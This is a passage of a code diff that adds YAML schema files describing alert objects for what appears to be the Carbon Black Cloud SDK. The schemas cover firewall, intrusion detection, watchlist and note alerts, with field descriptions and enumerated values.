on `user_update_timestamp` + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + external_device_friendly_name: + type: string + description: Human-readable external device names + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + product_id: + type: string + description: IDs of the product that identifies USB devices + product_name: + type: string + description: Names of the product that identifies USB devices + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + serial_number: + type: string + description: Serial numbers of the specific devices + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + vendor_id: + type: string + description: IDs of the vendors who produced the devices + vendor_name: + type: string + description: Names of the vendors who produced the devices + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_host_based_firewall.yaml b/src/cbc_sdk/platform/models/alert_host_based_firewall.yaml new file mode 100644 index 000000000..4ccba400d --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_host_based_firewall.yaml @@ -0,0 +1,483 @@ +type: object +properties: + additional_events_present: + type: boolean + description: Indicator to let API and forwarder users know that they should look up other associated events related to this alert + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + blocked_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the blocked file or process; applied by the sensor at the time the block occurred + blocked_md5: + type: string + description: MD5 hash of the child process binary; for any process terminated by the sensor + blocked_name: + type: string + description: Tokenized file path of the files blocked by sensor action + blocked_sha256: + type: string + description: SHA-256 hash of the child process binary; for any process terminated by the sensor + category: + type: string + description: Alert category - Monitored vs Threat + enum: + - THREAT + - MONITORED + - INFO + - MINOR + - SERIOUS + - CRITICAL + childproc_cmdline: + type: string + description: Command line for the child process + childproc_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the child process; applied by the sensor at the time the event occurred + childproc_guid: + type: string + description: Unique process identifier assigned to the child process + childproc_md5: + type: string + description: Hash of the child process' binary (Enterprise EDR) + childproc_name: + type: string + description: Filesystem path of the child process' binary + childproc_sha256: + type: string + description: Hash of the child process' binary (Endpoint Standard) + childproc_username: + type: string + description: User context in which the child process was executed + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + parent_cmdline: + type: string + description: Command line of the parent process + parent_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the parent process; applied by the sensor when the event occurred + parent_guid: + type: string + description: Unique process identifier assigned to the parent process + parent_md5: + type: string + description: MD5 hash of the parent process binary + parent_name: + type: string + description: Filesystem path of the parent process binary + parent_pid: + type: integer + format: int64 + description: Identifier assigned by the operating system to the parent process + parent_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the parent process; applied by the Carbon Black Cloud when the event is initially processed + parent_sha256: + type: string + description: SHA-256 hash of the parent process binary + parent_username: + type: string + description: User context in which the parent process was executed + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + process_cmdline: + type: string + description: Command line executed by the actor process + process_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the actor hash + process_guid: + type: string + description: Guid of the process that has fired the alert (optional) + process_issuer: + type: string + description: + process_md5: + type: string + description: MD5 hash of the actor process binary + process_name: + type: string + description: Process names of an alert + process_pid: + type: integer + format: int64 + description: PID of the process that has fired the alert (optional) + process_publisher: + type: string + description: + process_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the actor process; applied when event is processed by the Carbon Black Cloud + process_sha256: + type: string + description: SHA-256 hash of the actor process binary + process_username: + type: string + description: User context in which the actor process was executed. MacOS - all users for the PID for fork() and exec() transitions. Linux - process user for exec() events, but in a future sensor release can be multi-valued due to setuid(). + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + rule_category_id: + type: string + description: ID representing the category of the rule_id for certain alert types + rule_id: + type: string + description: ID of the rule that triggered an alert; applies to Intrusion Detection System, Host-Based Firewall, TAU Intelligence, and USB Device Control alerts + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_intrusion_detection_system.yaml b/src/cbc_sdk/platform/models/alert_intrusion_detection_system.yaml new file mode 100644 index 000000000..c10c1ce33 --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_intrusion_detection_system.yaml @@ -0,0 +1,498 @@ +type: object +properties: + additional_events_present: + type: boolean + description: Indicator to let API and forwarder users know that they should look up other associated events related to this alert + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + attack_tactic: + type: string + description: A tactic from the MITRE ATT&CK framework; defines a reason for an adversary’s action, such as achieving credential access + attack_technique: + type: string + description: A technique from the MITRE ATT&CK framework; defines an action an adversary takes to accomplish a goal, such as dumping credentials to achieve credential access + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + blocked_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the blocked file or process; applied by the sensor at the time the block occurred + blocked_md5: + type: string + description: MD5 hash of the child process binary; for any process terminated by the sensor + blocked_name: + type: string + description: Tokenized file path of the files blocked by sensor action + blocked_sha256: + type: string + description: SHA-256 hash of the child process binary; for any process terminated by the sensor + category: + type: string + description: Alert category - Monitored vs Threat + enum: + - THREAT + - MONITORED + - INFO + - MINOR + - SERIOUS + - CRITICAL + childproc_cmdline: + type: string + description: Command line for the child process + childproc_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the child process; applied by the sensor at the time the event occurred + childproc_guid: + type: string + description: Unique process identifier assigned to the child process + childproc_md5: + type: string + description: Hash of the child process' binary (Enterprise EDR) + childproc_name: + type: string + description: Filesystem path of the child process' binary + childproc_sha256: + type: string + description: Hash of the child process' binary (Endpoint Standard) + childproc_username: + type: string + description: User context in which the child process was executed + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + parent_cmdline: + type: string + description: Command line of the parent process + parent_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the parent process; applied by the sensor when the event occurred + parent_guid: + type: string + description: Unique process identifier assigned to the parent process + parent_md5: + type: string + description: MD5 hash of the parent process binary + parent_name: + type: string + description: Filesystem path of the parent process binary + parent_pid: + type: integer + format: int64 + description: Identifier assigned by the operating system to the parent process + parent_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the parent process; applied by the Carbon Black Cloud when the event is initially processed + parent_sha256: + type: string + description: SHA-256 hash of the parent process binary + parent_username: + type: string + description: User context in which the parent process was executed + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + process_cmdline: + type: string + description: Command line executed by the actor process + process_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the actor hash + process_guid: + type: string + description: Guid of the process that has fired the alert (optional) + process_issuer: + type: string + description: + process_md5: + type: string + description: MD5 hash of the actor process binary + process_name: + type: string + description: Process names of an alert + process_pid: + type: integer + format: int64 + description: PID of the process that has fired the alert (optional) + process_publisher: + type: string + description: + process_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the actor process; applied when event is processed by the Carbon Black Cloud + process_sha256: + type: string + description: SHA-256 hash of the actor process binary + process_username: + type: string + description: User context in which the actor process was executed. MacOS - all users for the PID for fork() and exec() transitions. Linux - process user for exec() events, but in a future sensor release can be multi-valued due to setuid(). + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + rule_category_id: + type: string + description: ID representing the category of the rule_id for certain alert types + rule_id: + type: string + description: ID of the rule that triggered an alert; applies to Intrusion Detection System, Host-Based Firewall, TAU Intelligence, and USB Device Control alerts + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_name: + type: string + description: Name of the threat + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + tms_rule_id: + type: string + description: Detection id + ttps: + type: string + description: Other potential malicious activities involved in a threat + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_note.yaml b/src/cbc_sdk/platform/models/alert_note.yaml new file mode 100644 index 000000000..61360667f --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_note.yaml @@ -0,0 +1,32 @@ +type: object +properties: + author: + type: string + description: User who created the note + create_timestamp: + type: string + format: date-time + description: Time the note was created + last_update_timestamp: + type: string + format: date-time + description: Time the note was created + id: + type: string + description: Unique ID for this note + source: + type: string + enum: + - CUSTOMER + note: + type: string + description: Note contents + parent_id: + type: string + description: ID for this note of this notes parent if is a thread + read_history: + type: string + thread: + type: array + items: + type: object \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_watchlist.yaml b/src/cbc_sdk/platform/models/alert_watchlist.yaml new file mode 100644 index 000000000..3951694f0 --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_watchlist.yaml @@ -0,0 +1,543 @@ +type: object +properties: + additional_events_present: + type: boolean + description: Indicator to let API and forwarder users know that they should look up other associated events related to this alert + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + attack_tactic: + type: string + description: A tactic from the MITRE ATT&CK framework; defines a reason for an adversary’s action, such as achieving credential access + attack_technique: + type: string + description: A technique from the MITRE ATT&CK framework; defines an action an adversary takes to accomplish a goal, such as dumping credentials to achieve credential access + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on 